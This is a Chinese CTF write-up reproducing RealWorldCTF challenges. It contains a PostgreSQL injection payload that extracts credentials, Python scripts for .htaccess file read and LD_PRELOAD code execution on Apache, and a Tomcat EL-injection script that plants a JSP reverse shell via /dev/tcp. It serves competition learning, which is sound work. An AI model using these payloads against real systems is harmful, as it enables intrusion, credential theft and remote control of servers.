realworldCTF复现
Hack into Skynet
摸鱼太久了,有点忘记了,写写思路算了。一个奇怪的SQL注入。有一个逻辑漏洞:
def query_login_attempt():
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')
if not username and not password:
return False
sql = ("SELECT id, account"
" FROM target_credentials"
" WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
user = sql_exec(sql)
name = user[0][1] if user and user[0] and user[0][1] else ''
return name == username
if not username and not password:
需要两个都为空才会进入,所以直接空用户名加任意密码就可以登录。
登录之后有个sql注入:
def query_kill_time():
name = flask.request.form.get('name', '')
if not name:
return None
sql = ("SELECT name, born"
" FROM target"
" WHERE age > 0"
" AND name = '{}'").format(name)
nb = sql_exec(sql)
if not nb:
return None
return '{}: {}'.format(*nb[0])
然后后台有个奇怪的Skynet进行过滤
def skynet_detect():
req = {
'method': flask.request.method,
'path': flask.request.full_path,
'host': flask.request.headers.get('host'),
'content_type': flask.request.headers.get('content-type'),
'useragent': flask.request.headers.get('user-agent'),
'referer': flask.request.headers.get('referer'),
'cookie': flask.request.headers.get('cookie'),
'body': str(flask.request.get_data()),
}
_, result = skynet.classify(req)
return result and result['attack']
然后需要formdata来进行绕过'body': str(flask.request.get_data())
。而且经过多次测试,必须要有limit ... offset ...
,不知道为啥。而且还是pgsql的注入,还得看一波pgsql的语法☺️:https://www.freebuf.com/articles/web/249371.html
最终payload:
'; SELECT access_key, secret_key FROM target_credentials LIMIT 1 OFFSET '0
但是测试的时候,不用formdata也能注入,不懂为啥。
RWDN
一个文件上传的题目。由于有过滤,预期解是用原型链的方式绕过:https://gist.github.com/wupco/8d4c85b93458364ec49617cff182c597
非预期可以进行多文件上传来进行绕过。可以上传任意文件之后,直接来个.htaccess,然后就可以利用.htaccess进行任意文件读取:
ErrorDocument 404 %{file:/etc/passwd}
读apache的配置文件:/etc/apache2/apache.conf
,可以看到ExtFilterDefine gzip mode=output cmd=/bin/gzip
然后用.htaccess来进行rce
https://httpd.apache.org/docs/2.4/mod/mod_ext_filter.html
ExtFilterDefine
可以定义一个外部程序对内容进行处理,然后用.htaccess的SetEnv
进行设置环境变量,可以劫持LD_PRELOAD
来执行恶意so。然后用SetOutputFilter
调用gzip创建新进程执行恶意so。在discord上的一个wp:
1 - arbitrary file upload with any extension
#!/usr/bin/env python3
import requests
data = """aaa"""
fname = ".htaccess"
r = requests.post('http://47.243.75.225:31337/upload?formid=form-e2ca251d-8988-4d94-bdb0-e0477ff23a13',files={'form-e2ca251d-8988-4d94-bdb0-e0477ff23a13':('l.txt',data)})
print(r.text)
url = r.text
url = url[url.index('http'):-5]
try:
requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
except:
pass
r = requests.get(url+fname)
print(r.text,url+fname)
2 - arbitrary file read using .htaccess -> read apache.conf
#!/usr/bin/env python3
import requests
# r = requests.post('http://localhost:31337/upload?formid=a',files={'a':('.htaccess','file_data'),'asdf':('zzz.txt','LMAO')})
data = """
redirect permanent "/%{BASE64:%{FILE:/etc/passwd}}"
"""
fname = ".htaccess"
r = requests.post('http://47.243.75.225:31337/upload?formid=form-e2ca251d-8988-4d94-bdb0-e0477ff23a13',files={'form-e2ca251d-8988-4d94-bdb0-e0477ff23a13':('l.txt',data)})
url = r.text
url = url[url.index('http'):-5]
print(1337)
requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
fname = "lmao.cgi"
r = requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
r = requests.get(url+fname,allow_redirects=False)
print(r.text,url+fname,r.headers)
3 - upload malicious so file, set LD_PRELOAD using SetEnv (overwrite _init()), pass env to the cmd binary
#!/usr/bin/env python3
import requests
data = open("./hack.so",'rb').read()
fname = "hack.so"
r = requests.post('http://47.243.75.225:31337/upload?formid=form-e2ca251d-8988-4d94-bdb0-e0477ff23a13',files={'form-e2ca251d-8988-4d94-bdb0-e0477ff23a13':('l.txt',data)})
print(r.text)
url = r.text
url = url[url.index('http'):-5]
path = url[27:]
try:
requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
except:
pass
r = requests.get(url+fname)
print(url+fname)
print(path)
data = f"""<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
SetEnv LD_PRELOAD /var/www/html/uploads/{path}/hack.so
SetOutputFilter gzip
</Files>"""
fname = ".htaccess"
r = requests.post('http://47.243.75.225:31337/upload?formid=form-e2ca251d-8988-4d94-bdb0-e0477ff23a13',files={'form-e2ca251d-8988-4d94-bdb0-e0477ff23a13':('l.txt',data)})
print(r.text)
url = r.text
url = url[url.index('http'):-5]
try:
requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
except:
pass
r = requests.get(url+fname)
print(r.text,url+fname)
so就是经典操作了。
Desperate Cat
看不懂的java题,wp:https://github.com/voidfyoo/rwctf-4th-desperate-cat/tree/main/writeup
过滤了:
"&", "<", "'", ">", "\"", "(", ")"
似乎写不了jsp,但是可以用EL表达式进行绕过,tomcat默认支持。wp里面举了个例子:
${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
.
就是get方法,=
是set方法,整个式子等价于:
pageContext.getServletContext().getClassLoader().getResources().getContext().getManager().setPathname(request.getParameter("a"));
试了一下:
${Runtime.getRuntime().exec(param.cmd)}
直接报500,执行不了不懂为啥🤡。所以看来只能写jsp了。然后看了一波wp,好像是这样搞的:
- 修改session保存的路径和文件名
${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
- 往session里面写shell
${sessionScope[param.b]=param.c}
- 设置服务器的重新加载为true
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
-
修改tomcat的web容器路径到根目录
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}
然后就可以直接直接访问到
/tmp/session.jsp
的木马了
wp的脚本:#!/usr/bin/env python3 import sys import time import requests PROXIES = None if __name__ == '__main__': target_url = sys.argv[1] # e.g. http://127.0.0.1:8080/ reverse_shell_host = sys.argv[2] reverse_shell_port = sys.argv[3] el_payload = r"""${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a} ${sessionScope[param.b]=param.c} ${pageContext.servletContext.classLoader.resources.context.reloadable=true} ${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}""" reverse_shell_jsp_payload = r"""<%Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "sh -i >& /dev/tcp/""" + reverse_shell_host + "/" + reverse_shell_port + r""" 0>&1"});%>""" r = requests.post(url=f'{target_url}/export', data={ 'dir': '', 'filename': 'a.jsp', 'content': el_payload, }, proxies=PROXIES) shell_path = r.text.strip().split('/')[-1] shell_url = f'{target_url}/export/{shell_path}' r2 = requests.post(url=shell_url, data={ 'a': '/tmp/session.jsp', 'b': 'voidfyoo', 'c': reverse_shell_jsp_payload, 'd': '/', }, proxies=PROXIES) r3 = requests.post(url=f'{target_url}/export', data={ 'dir': './WEB-INF/lib/', 'filename': 'a.jar', 'content': 'a', }, proxies=PROXIES) time.sleep(10) # wait a while r4 = requests.get(url=f'{target_url}/tmp/session.jsp', proxies=PROXIES)